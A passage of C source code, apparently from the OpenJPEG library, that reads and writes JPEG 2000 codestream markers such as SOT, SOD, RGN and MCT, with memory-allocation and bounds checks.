l_num_parts; p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps = l_num_parts; if (!p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index) { p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index = (opj_tp_index_t*)opj_calloc(l_num_parts, sizeof(opj_tp_index_t)); if (!p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read SOT marker. Tile index allocation failed\n"); return OPJ_FALSE; } } else { opj_tp_index_t *new_tp_index = (opj_tp_index_t *) opj_realloc( p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index, l_num_parts * sizeof(opj_tp_index_t)); if (! new_tp_index) { opj_free(p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index); p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index = NULL; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read SOT marker. Tile index allocation failed\n"); return OPJ_FALSE; } p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index = new_tp_index; } } else { /*if (!p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index)*/ { if (!p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index) { p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps = 10; p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index = (opj_tp_index_t*)opj_calloc( p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps, sizeof(opj_tp_index_t)); if (!p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index) { p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read SOT marker. Tile index allocation failed\n"); return OPJ_FALSE; } } if (l_current_part >= p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps) { opj_tp_index_t *new_tp_index; p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps = l_current_part + 1; new_tp_index = (opj_tp_index_t *) opj_realloc( p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index, p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps * sizeof(opj_tp_index_t)); if (! new_tp_index) { opj_free(p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index); p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index = NULL; p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read SOT marker. Tile index allocation failed\n"); return OPJ_FALSE; } p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index = new_tp_index; } } } } /* FIXME move this onto a separate method to call before reading any SOT, remove part about main_end header, use a index struct inside p_j2k */ /* if (p_j2k->cstr_info) { if (l_tcp->first) { if (tileno == 0) { p_j2k->cstr_info->main_head_end = p_stream_tell(p_stream) - 13; } p_j2k->cstr_info->tile[tileno].tileno = tileno; p_j2k->cstr_info->tile[tileno].start_pos = p_stream_tell(p_stream) - 12; p_j2k->cstr_info->tile[tileno].end_pos = p_j2k->cstr_info->tile[tileno].start_pos + totlen - 1; p_j2k->cstr_info->tile[tileno].num_tps = numparts; if (numparts) { p_j2k->cstr_info->tile[tileno].tp = (opj_tp_info_t *) opj_malloc(numparts * sizeof(opj_tp_info_t)); } else { p_j2k->cstr_info->tile[tileno].tp = (opj_tp_info_t *) opj_malloc(10 * sizeof(opj_tp_info_t)); // Fixme (10) } } else { p_j2k->cstr_info->tile[tileno].end_pos += totlen; } p_j2k->cstr_info->tile[tileno].tp[partno].tp_start_pos = p_stream_tell(p_stream) - 12; p_j2k->cstr_info->tile[tileno].tp[partno].tp_end_pos = p_j2k->cstr_info->tile[tileno].tp[partno].tp_start_pos + totlen - 1; }*/ return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_sod(opj_j2k_t *p_j2k, opj_tcd_t * p_tile_coder, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, OPJ_UINT32 p_total_data_size, const opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { opj_codestream_info_t *l_cstr_info = 00; OPJ_UINT32 l_remaining_data; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_stream); opj_write_bytes(p_data, J2K_MS_SOD, 2); /* SOD */ p_data += 2; /* make room for the EOF marker */ l_remaining_data = p_total_data_size - 4; /* update tile coder */ p_tile_coder->tp_num = p_j2k->m_specific_param.m_encoder.m_current_poc_tile_part_number ; p_tile_coder->cur_tp_num = p_j2k->m_specific_param.m_encoder.m_current_tile_part_number; /* INDEX >> */ /* TODO mergeV2: check this part which use cstr_info */ /*l_cstr_info = p_j2k->cstr_info; if (l_cstr_info) { if (!p_j2k->m_specific_param.m_encoder.m_current_tile_part_number ) { //TODO cstr_info->tile[p_j2k->m_current_tile_number].end_header = p_stream_tell(p_stream) + p_j2k->pos_correction - 1; l_cstr_info->tile[p_j2k->m_current_tile_number].tileno = p_j2k->m_current_tile_number; } else {*/ /* TODO if (cstr_info->tile[p_j2k->m_current_tile_number].packet[cstr_info->packno - 1].end_pos < p_stream_tell(p_stream)) { cstr_info->tile[p_j2k->m_current_tile_number].packet[cstr_info->packno].start_pos = p_stream_tell(p_stream); }*/ /*}*/ /* UniPG>> */ #ifdef USE_JPWL /* update markers struct */ /*OPJ_BOOL res = j2k_add_marker(p_j2k->cstr_info, J2K_MS_SOD, p_j2k->sod_start, 2); */ assert(0 && "TODO"); #endif /* USE_JPWL */ /* <<UniPG */ /*}*/ /* << INDEX */ if (p_j2k->m_specific_param.m_encoder.m_current_tile_part_number == 0) { p_tile_coder->tcd_image->tiles->packno = 0; if (l_cstr_info) { l_cstr_info->packno = 0; } } *p_data_written = 0; if (! opj_tcd_encode_tile(p_tile_coder, p_j2k->m_current_tile_number, p_data, p_data_written, l_remaining_data, l_cstr_info, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Cannot encode tile\n"); return OPJ_FALSE; } *p_data_written += 2; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_read_sod(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_SIZE_T l_current_read_size; opj_codestream_index_t * l_cstr_index = 00; OPJ_BYTE ** l_current_data = 00; opj_tcp_t * l_tcp = 00; OPJ_UINT32 * l_tile_len = 00; OPJ_BOOL l_sot_length_pb_detected = OPJ_FALSE; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_tcp = &(p_j2k->m_cp.tcps[p_j2k->m_current_tile_number]); if (p_j2k->m_specific_param.m_decoder.m_last_tile_part) { /* opj_stream_get_number_byte_left returns OPJ_OFF_T // but we are in the last tile part, // so its result will fit on OPJ_UINT32 unless we find // a file with a single tile part of more than 4 GB...*/ p_j2k->m_specific_param.m_decoder.m_sot_length = (OPJ_UINT32)( opj_stream_get_number_byte_left(p_stream) - 2); } else { /* Check to avoid pass the limit of OPJ_UINT32 */ if (p_j2k->m_specific_param.m_decoder.m_sot_length >= 2) { p_j2k->m_specific_param.m_decoder.m_sot_length -= 2; } else { /* MSD: case commented to support empty SOT marker (PHR data) */ } } l_current_data = &(l_tcp->m_data); l_tile_len = &l_tcp->m_data_size; /* Patch to support new PHR data */ if (p_j2k->m_specific_param.m_decoder.m_sot_length) { /* If we are here, we'll try to read the data after allocation */ /* Check enough bytes left in stream before allocation */ if ((OPJ_OFF_T)p_j2k->m_specific_param.m_decoder.m_sot_length > opj_stream_get_number_byte_left(p_stream)) { opj_event_msg(p_manager, EVT_ERROR, "Tile part length size inconsistent with stream length\n"); return OPJ_FALSE; } if (p_j2k->m_specific_param.m_decoder.m_sot_length > UINT_MAX - OPJ_COMMON_CBLK_DATA_EXTRA) { opj_event_msg(p_manager, EVT_ERROR, "p_j2k->m_specific_param.m_decoder.m_sot_length > " "UINT_MAX - OPJ_COMMON_CBLK_DATA_EXTRA"); return OPJ_FALSE; } /* Add a margin of OPJ_COMMON_CBLK_DATA_EXTRA to the allocation we */ /* do so that opj_mqc_init_dec_common() can safely add a synthetic */ /* 0xFFFF marker. */ if (! *l_current_data) { /* LH: oddly enough, in this path, l_tile_len!=0. * TODO: If this was consistent, we could simplify the code to only use realloc(), as realloc(0,...) default to malloc(0,...). */ *l_current_data = (OPJ_BYTE*) opj_malloc( p_j2k->m_specific_param.m_decoder.m_sot_length + OPJ_COMMON_CBLK_DATA_EXTRA); } else { OPJ_BYTE *l_new_current_data; if (*l_tile_len > UINT_MAX - OPJ_COMMON_CBLK_DATA_EXTRA - p_j2k->m_specific_param.m_decoder.m_sot_length) { opj_event_msg(p_manager, EVT_ERROR, "*l_tile_len > UINT_MAX - OPJ_COMMON_CBLK_DATA_EXTRA - " "p_j2k->m_specific_param.m_decoder.m_sot_length"); return OPJ_FALSE; } l_new_current_data = (OPJ_BYTE *) opj_realloc(*l_current_data, *l_tile_len + p_j2k->m_specific_param.m_decoder.m_sot_length + OPJ_COMMON_CBLK_DATA_EXTRA); if (! l_new_current_data) { opj_free(*l_current_data); /*nothing more is done as l_current_data will be set to null, and just afterward we enter in the error path and the actual tile_len is updated (committed) at the end of the function. */ } *l_current_data = l_new_current_data; } if (*l_current_data == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to decode tile\n"); return OPJ_FALSE; } } else { l_sot_length_pb_detected = OPJ_TRUE; } /* Index */ l_cstr_index = p_j2k->cstr_index; if (l_cstr_index) { OPJ_OFF_T l_current_pos = opj_stream_tell(p_stream) - 2; OPJ_UINT32 l_current_tile_part = l_cstr_index->tile_index[p_j2k->m_current_tile_number].current_tpsno; l_cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index[l_current_tile_part].end_header = l_current_pos; l_cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index[l_current_tile_part].end_pos = l_current_pos + p_j2k->m_specific_param.m_decoder.m_sot_length + 2; if (OPJ_FALSE == opj_j2k_add_tlmarker(p_j2k->m_current_tile_number, l_cstr_index, J2K_MS_SOD, l_current_pos, p_j2k->m_specific_param.m_decoder.m_sot_length + 2)) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add tl marker\n"); return OPJ_FALSE; } /*l_cstr_index->packno = 0;*/ } /* Patch to support new PHR data */ if (!l_sot_length_pb_detected) { l_current_read_size = opj_stream_read_data( p_stream, *l_current_data + *l_tile_len, p_j2k->m_specific_param.m_decoder.m_sot_length, p_manager); } else { l_current_read_size = 0; } if (l_current_read_size != p_j2k->m_specific_param.m_decoder.m_sot_length) { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_NEOC; } else { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_TPHSOT; } *l_tile_len += (OPJ_UINT32)l_current_read_size; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_rgn(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no, OPJ_UINT32 nb_comps, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_rgn_size; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; OPJ_UINT32 l_comp_room; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp = &l_tcp->tccps[p_comp_no]; if (nb_comps <= 256) { l_comp_room = 1; } else { l_comp_room = 2; } l_rgn_size = 6 + l_comp_room; l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_RGN, 2); /* RGN */ l_current_data += 2; opj_write_bytes(l_current_data, l_rgn_size - 2, 2); /* Lrgn */ l_current_data += 2; opj_write_bytes(l_current_data, p_comp_no, l_comp_room); /* Crgn */ l_current_data += l_comp_room; opj_write_bytes(l_current_data, 0, 1); /* Srgn */ ++l_current_data; opj_write_bytes(l_current_data, (OPJ_UINT32)l_tccp->roishift, 1); /* SPrgn */ ++l_current_data; if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_rgn_size, p_manager) != l_rgn_size) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_eoc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); opj_write_bytes(p_j2k->m_specific_param.m_encoder.m_header_tile_data, J2K_MS_EOC, 2); /* EOC */ /* UniPG>> */ #ifdef USE_JPWL /* update markers struct */ /* OPJ_BOOL res = j2k_add_marker(p_j2k->cstr_info, J2K_MS_EOC, p_stream_tell(p_stream) - 2, 2); */ #endif /* USE_JPWL */ if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, 2, p_manager) != 2) { return OPJ_FALSE; } if (! opj_stream_flush(p_stream, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a RGN marker (Region Of Interest) * * @param p_header_data the data contained in the POC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the POC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_rgn(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_nb_comp; opj_image_t * l_image = 00; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_comp_room, l_comp_no, l_roi_sty; /* preconditions*/ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_image = p_j2k->m_private_image; l_nb_comp = l_image->numcomps; if (l_nb_comp <= 256) { l_comp_room = 1; } else { l_comp_room = 2; } if (p_header_size != 2 + l_comp_room) { opj_event_msg(p_manager, EVT_ERROR, "Error reading RGN marker\n"); return OPJ_FALSE; } l_cp = &(p_j2k->m_cp); l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; opj_read_bytes(p_header_data, &l_comp_no, l_comp_room); /* Crgn */ p_header_data += l_comp_room; opj_read_bytes(p_header_data, &l_roi_sty, 1); /* Srgn */ ++p_header_data; #ifdef USE_JPWL if (l_cp->correct) { /* totlen is negative or larger than the bytes left!!! */ if (l_comp_room >= l_nb_comp) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: bad component number in RGN (%d when there are only %d)\n", l_comp_room, l_nb_comp); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } } }; #endif /* USE_JPWL */ /* testcase 3635.pdf.asan.77.2930 */ if (l_comp_no >= l_nb_comp) { opj_event_msg(p_manager, EVT_ERROR, "bad component number in RGN (%d when there are only %d)\n", l_comp_no, l_nb_comp); return OPJ_FALSE; } opj_read_bytes(p_header_data, (OPJ_UINT32 *)(&(l_tcp->tccps[l_comp_no].roishift)), 1); /* SPrgn */ ++p_header_data; return OPJ_TRUE; } static OPJ_FLOAT32 opj_j2k_get_tp_stride(opj_tcp_t * p_tcp) { return (OPJ_FLOAT32)((p_tcp->m_nb_tile_parts - 1) * 14); } static OPJ_FLOAT32 opj_j2k_get_default_stride(opj_tcp_t * p_tcp) { (void)p_tcp; return 0; } static OPJ_BOOL opj_j2k_update_rates(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { opj_cp_t * l_cp = 00; opj_image_t * l_image = 00; opj_tcp_t * l_tcp = 00; opj_image_comp_t * l_img_comp = 00; OPJ_UINT32 i, j, k; OPJ_INT32 l_x0, l_y0, l_x1, l_y1; OPJ_FLOAT32 * l_rates = 0; OPJ_FLOAT32 l_sot_remove; OPJ_UINT32 l_bits_empty, l_size_pixel; OPJ_UINT32 l_tile_size = 0; OPJ_UINT32 l_last_res; OPJ_FLOAT32(* l_tp_stride_func)(opj_tcp_t *) = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_manager); l_cp = &(p_j2k->m_cp); l_image = p_j2k->m_private_image; l_tcp = l_cp->tcps; l_bits_empty = 8 * l_image->comps->dx * l_image->comps->dy; l_size_pixel = l_image->numcomps * l_image->comps->prec; l_sot_remove = (OPJ_FLOAT32) opj_stream_tell(p_stream) / (OPJ_FLOAT32)( l_cp->th * l_cp->tw); if (l_cp->m_specific_param.m_enc.m_tp_on) { l_tp_stride_func = opj_j2k_get_tp_stride; } else { l_tp_stride_func = opj_j2k_get_default_stride; } for (i = 0; i < l_cp->th; ++i) { for (j = 0; j < l_cp->tw; ++j) { OPJ_FLOAT32 l_offset = (OPJ_FLOAT32)(*l_tp_stride_func)(l_tcp) / (OPJ_FLOAT32)l_tcp->numlayers; /* 4 borders of the tile rescale on the image if necessary */ l_x0 = opj_int_max((OPJ_INT32)(l_cp->tx0 + j * l_cp->tdx), (OPJ_INT32)l_image->x0); l_y0 = opj_int_max((OPJ_INT32)(l_cp->ty0 + i * l_cp->tdy), (OPJ_INT32)l_image->y0); l_x1 = opj_int_min((OPJ_INT32)(l_cp->tx0 + (j + 1) * l_cp->tdx), (OPJ_INT32)l_image->x1); l_y1 = opj_int_min((OPJ_INT32)(l_cp->ty0 + (i + 1) * l_cp->tdy), (OPJ_INT32)l_image->y1); l_rates = l_tcp->rates; /* Modification of the RATE >> */ if (*l_rates > 0.0f) { *l_rates = (((OPJ_FLOAT32)(l_size_pixel * (OPJ_UINT32)(l_x1 - l_x0) * (OPJ_UINT32)(l_y1 - l_y0))) / ((*l_rates) * (OPJ_FLOAT32)l_bits_empty) ) - l_offset; } ++l_rates; for (k = 1; k < l_tcp->numlayers; ++k) { if (*l_rates > 0.0f) { *l_rates = (((OPJ_FLOAT32)(l_size_pixel * (OPJ_UINT32)(l_x1 - l_x0) * (OPJ_UINT32)(l_y1 - l_y0))) / ((*l_rates) * (OPJ_FLOAT32)l_bits_empty) ) - l_offset; } ++l_rates; } ++l_tcp; } } l_tcp = l_cp->tcps; for (i = 0; i < l_cp->th; ++i) { for (j = 0; j < l_cp->tw; ++j) { l_rates = l_tcp->rates; if (*l_rates > 0.0f) { *l_rates -= l_sot_remove; if (*l_rates < 30.0f) { *l_rates = 30.0f; } } ++l_rates; l_last_res = l_tcp->numlayers - 1; for (k = 1; k < l_last_res; ++k) { if (*l_rates > 0.0f) { *l_rates -= l_sot_remove; if (*l_rates < * (l_rates - 1) + 10.0f) { *l_rates = (*(l_rates - 1)) + 20.0f; } } ++l_rates; } if (*l_rates > 0.0f) { *l_rates -= (l_sot_remove + 2.f); if (*l_rates < * (l_rates - 1) + 10.0f) { *l_rates = (*(l_rates - 1)) + 20.0f; } } ++l_tcp; } } l_img_comp = l_image->comps; l_tile_size = 0; for (i = 0; i < l_image->numcomps; ++i) { l_tile_size += (opj_uint_ceildiv(l_cp->tdx, l_img_comp->dx) * opj_uint_ceildiv(l_cp->tdy, l_img_comp->dy) * l_img_comp->prec ); ++l_img_comp; } l_tile_size = (OPJ_UINT32)(l_tile_size * 0.1625); /* 1.3/8 = 0.1625 */ l_tile_size += opj_j2k_get_specific_header_sizes(p_j2k); p_j2k->m_specific_param.m_encoder.m_encoded_tile_size = l_tile_size; p_j2k->m_specific_param.m_encoder.m_encoded_tile_data = (OPJ_BYTE *) opj_malloc(p_j2k->m_specific_param.m_encoder.m_encoded_tile_size); if (p_j2k->m_specific_param.m_encoder.m_encoded_tile_data == 00) { return OPJ_FALSE; } if (OPJ_IS_CINEMA(l_cp->rsiz)) { p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer = (OPJ_BYTE *) opj_malloc(5 * p_j2k->m_specific_param.m_encoder.m_total_tile_parts); if (! p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer) { return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current = p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer; } return OPJ_TRUE; } #if 0 static OPJ_BOOL opj_j2k_read_eoc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 i; opj_tcd_t * l_tcd = 00; OPJ_UINT32 l_nb_tiles; opj_tcp_t * l_tcp = 00; OPJ_BOOL l_success; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; l_tcp = p_j2k->m_cp.tcps; l_tcd = opj_tcd_create(OPJ_TRUE); if (l_tcd == 00) { opj_event_msg(p_manager, EVT_ERROR, "Cannot decode tile, memory error\n"); return OPJ_FALSE; } for (i = 0; i < l_nb_tiles; ++i) { if (l_tcp->m_data) { if (! opj_tcd_init_decode_tile(l_tcd, i)) { opj_tcd_destroy(l_tcd); opj_event_msg(p_manager, EVT_ERROR, "Cannot decode tile, memory error\n"); return OPJ_FALSE; } l_success = opj_tcd_decode_tile(l_tcd, l_tcp->m_data, l_tcp->m_data_size, i, p_j2k->cstr_index); /* cleanup */ if (! l_success) { p_j2k->m_specific_param.m_decoder.m_state |= J2K_STATE_ERR; break; } } opj_j2k_tcp_destroy(l_tcp); ++l_tcp; } opj_tcd_destroy(l_tcd); return OPJ_TRUE; } #endif static OPJ_BOOL opj_j2k_get_end_header(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_manager); p_j2k->cstr_index->main_head_end = opj_stream_tell(p_stream); return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_mct_data_group(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 i; opj_simple_mcc_decorrelation_data_t * l_mcc_record; opj_mct_data_t * l_mct_record; opj_tcp_t * l_tcp; /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); if (! opj_j2k_write_cbd(p_j2k, p_stream, p_manager)) { return OPJ_FALSE; } l_tcp = &(p_j2k->m_cp.tcps[p_j2k->m_current_tile_number]); l_mct_record = l_tcp->m_mct_records; for (i = 0; i < l_tcp->m_nb_mct_records; ++i) { if (! opj_j2k_write_mct_record(p_j2k, l_mct_record, p_stream, p_manager)) { return OPJ_FALSE; } ++l_mct_record; } l_mcc_record = l_tcp->m_mcc_records; for (i = 0; i < l_tcp->m_nb_mcc_records; ++i) { if (! opj_j2k_write_mcc_record(p_j2k, l_mcc_record, p_stream, p_manager)) { return OPJ_FALSE; } ++l_mcc_record; } if (! opj_j2k_write_mco(p_j2k, p_stream, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_all_coc( opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 compno; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); for (compno = 1; compno < p_j2k->m_private_image->numcomps; ++compno) { /* cod is first component of first tile */ if (! opj_j2k_compare_coc(p_j2k, 0, compno)) { if (! opj_j2k_write_coc(p_j2k, compno, p_stream, p_manager)) { return OPJ_FALSE; } } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_all_qcc( opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 compno; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); for (compno = 1; compno < p_j2k->m_private_image->numcomps; ++compno) { /* qcd is first component of first tile */ if (! opj_j2k_compare_qcc(p_j2k, 0, compno)) { if (! opj_j2k_write_qcc(p_j2k, compno, p_stream, p_manager)) { return OPJ_FALSE; } } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_regions(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 compno; const opj_tccp_t *l_tccp = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_tccp = p_j2k->m_cp.tcps->tccps; for (compno = 0; compno < p_j2k->m_private_image->numcomps; ++compno) { if (l_tccp->roishift) { if (! opj_j2k_write_rgn(p_j2k, 0, compno, p_j2k->m_private_image->numcomps, p_stream, p_manager)) { return OPJ_FALSE; } } ++l_tccp; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_epc(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { opj_codestream_index_t * l_cstr_index = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_manager); l_cstr_index = p_j2k->cstr_index; if (l_cstr_index) { l_cstr_index->codestream_size = (OPJ_UINT64)opj_stream_tell(p_stream); /* UniPG>> */ /* The following adjustment is done to adjust the codestream size */ /* if SOD is not at 0 in the buffer. Useful in case of JP2, where */ /* the first bunch of bytes is not in the codestream */ l_cstr_index->codestream_size -= (OPJ_UINT64)l_cstr_index->main_head_start; /* <<UniPG */ } #ifdef USE_JPWL /* preparation of JPWL marker segments */ #if 0 if (cp->epc_on) { /* encode according to JPWL */ jpwl_encode(p_j2k, p_stream, image); } #endif assert(0 && "TODO"); #endif /* USE_JPWL */ return OPJ_TRUE; } static OPJ_BOOL opj_j2k_read_unk(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, OPJ_UINT32 *output_marker, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_unknown_marker; const opj_dec_memory_marker_handler_t * l_marker_handler; OPJ_UINT32 l_size_unk = 2; /* preconditions*/ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); opj_event_msg(p_manager, EVT_WARNING, "Unknown marker\n"); for (;;) { /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer*/ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* read 2 bytes as the new marker ID*/ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_unknown_marker, 2); if (!(l_unknown_marker < 0xff00)) { /* Get the marker handler from the marker ID*/ l_marker_handler = opj_j2k_get_marker_handler(l_unknown_marker); if (!(p_j2k->m_specific_param.m_decoder.m_state & l_marker_handler->states)) { opj_event_msg(p_manager, EVT_ERROR, "Marker is not compliant with its position\n"); return OPJ_FALSE; } else { if (l_marker_handler->id != J2K_MS_UNK) { /* Add the marker to the codestream index*/ if (l_marker_handler->id != J2K_MS_SOT) { OPJ_BOOL res = opj_j2k_add_mhmarker(p_j2k->cstr_index, J2K_MS_UNK, (OPJ_UINT32) opj_stream_tell(p_stream) - l_size_unk, l_size_unk); if (res == OPJ_FALSE) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add mh marker\n"); return OPJ_FALSE; } } break; /* next marker is known and well located */ } else { l_size_unk += 2; } } } } *output_marker = l_marker_handler->id ; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_mct_record(opj_j2k_t *p_j2k, opj_mct_data_t * p_mct_record, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 l_mct_size; OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_tmp; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_mct_size = 10 + p_mct_record->m_data_size; if (l_mct_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_mct_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write MCT marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_mct_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_MCT, 2); /* MCT */ l_current_data += 2; opj_write_bytes(l_current_data, l_mct_size - 2, 2); /* Lmct */ l_current_data += 2; opj_write_bytes(l_current_data, 0, 2); /* Zmct */ l_current_data += 2; /* only one marker atm */ l_tmp = (p_mct_record->m_index & 0xff) | (p_mct_record->m_array_type << 8) | (p_mct_record->m_element_type << 10); opj_write_bytes(l_current_data, l_tmp, 2); l_current_data += 2; opj_write_bytes(l_current_data, 0, 2); /* Ymct */ l_current_data += 2; memcpy(l_current_data, p_mct_record->m_data, p_mct_record->m_data_size); if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_mct_size, p_manager) != l_mct_size) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a MCT marker (Multiple Component Transform) * * @param p_header_data the data contained in the MCT box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the MCT marker. * @param p_manager the user event manager. */ static OPJ_BOOL 